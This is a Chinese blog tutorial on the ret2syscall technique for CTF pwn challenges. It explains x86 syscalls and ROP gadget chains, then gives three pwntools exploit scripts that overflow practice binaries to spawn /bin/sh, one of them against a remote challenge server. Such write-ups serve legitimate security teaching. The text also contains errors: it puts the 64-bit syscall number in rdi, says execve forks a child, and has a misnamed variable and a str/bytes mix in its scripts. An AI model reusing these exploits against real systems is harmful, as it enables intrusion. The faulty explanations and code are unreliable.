目录
syscall
介绍
函数系统调用,指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。大多数系统交互式操作需求在内核态执行。如设备IO操作或者进程间通信。
Linux 在x86上的系统调用通过 int 80h (中断命令,具体看汇编语言)实现,用系统调用号来区分入口函数。
其中我们需要重点关注的是应用程序调用系统,它的调用过程是:
- 把系统调用的编号存入 EAX;
- 把函数参数存入其它通用寄存器;
- 触发 0x80 号中断(int 0x80)。
系统调用号
系统调用表,ret2syscall通常采用execve(重点函数,调用号为0x0b在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序,64位和32位通用)
ret2syscall
介绍
控制程序执行系统调用,获取 shell
判断
如果没有system和开启了NX(栈不可执行)保护可以用(有system最好用ret2text,方便省事,没开NX直接ret2shellcode)
步骤
32位
ROP查找pop eax,pop ebx,pop ecx,pop edx的地址
并把需要的系统调用号给eax(通常使用execve,即0x0b),把其余寄存器清空(给一个0进去即可)
再将/bin/sh(或者sh也可)的地址和int 0x80的地址作为参数传进去即可
64位
与32位类似,但是传参的寄存器是rdi->rsi->rdx->rcx->r8->r9,即把需要的系统调用号给rdi,把rsi和rdx置零。
且ret返回的函数名不同
- 32位为int 0x80,64位为syscall ret
例题
Rop[简单系统调用]
思路
比较容易 参照上面解题步骤即可。
EXP
from pwn import *
sh = process("./rop")
eax_pop = 0x080bb196
edx_ecx_ebx_pop = 0x0806eb90
sh_pop = 0x080be408
Ret_syscall = 0x08049421
payload = b"a"*112
payload += p32(eax_pop)+p32(0x0b)
payload += p32(edx_ecx_ebx_pop)+p32(0x0)+p32(0x0)+p32(sh_pop)
payload += p32(ret_syscall)
sh.sendline(payload)
sh.interactive()
Ret2sys[多系统函数调用]
思路
- 由于程序中并没有
/bin/sh
这个字符串,如果执行系统调用必须要手动将/bin/sh
写入到程序bss
段中 - 构造payload可以使用read函数,在内存地址中读取之后用户输入的/bin/sh 先找到
eax,ebx,ecx,edx
以及int 0x80
的地址 - 对eax,ebx,ecx,edx填充read函数的参数(在bss段找到一个有权限的地址,带入到ebx中)
- 再次对eax,ebx,ecx,edx填充,这次使用execve函数,执行之前read函数读取的内容所在的地址内的值 即”/bin/sh\x00”
- 执行payload,进行溢出,再次向程序中发送数据 即“/bin/sh\x00”
EXP
from pwn import *
sh = process("./ret2sys")
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
#sh = remote("120.79.17.251",10005)
pop_eax = 0x080bb2c6
pop_edx_ecx_ebx = 0x0806ecb0
bss = 0x080eb000
int_0x80 = 0x0806F350
payload = b"a"*44
payload += p32(pop_eax)+p32(0x3)
payload += p32(pop_edx_ecx_ebx)+p32(0x10)+p32(bss)+p32(0)
payload += p32(int_0x80)
payload += p32(pop_eax)+p32(0xb)
payload += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)
payload += p32(int_0x80)
#gdb.attach(sh)
sh.sendline(payload)
sleep(1)
bin_sh = b"/bin/sh\x00"
sh.sendline(bin_sh)
sh.interactive()
Ret2sys[64位寄存器]
思路
- 与32位不同,需要注意以下几点
- 存储参数的寄存器名不同
- ret返回的函数名不同
- 32位为int 0x80,64位为syscall ret
EXP
from pwn import *
#sh = process("./ret2sys_64")
sh = remote("120.79.17.251",10006)
context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
pop_rax =0x000000000046b9f8
pop_rdi = 0x00000000004016c3
pop_rdx_rsi =0x00000000004377f9
bss = 0x00000000006c2000
ret = 0x000000000045bac5
payload = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaa"
payload += p64(pop_rax)+p64(0x0)
payload += p64(pop_rdx_rsi)+p64(0x10)+p64(bss)
payload += p64(pop_rdi)+p64(0)
payload += p64(ret)
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdx_rsi)+p64(0)+p64(0)
payload += p64(pop_rdi)+p64(bss)
payload += p64(ret)
#gdb.attach(sh)
sh.sendline(payload)
sleep(1)
sh.sendline(b"/bin/sh\x00")
sh.interactive()
标签:调用,p64,pop,p32,sh,pwn,payload,ret2syscall
From: https://www.cnblogs.com/fuxuqiannian/p/16913836.html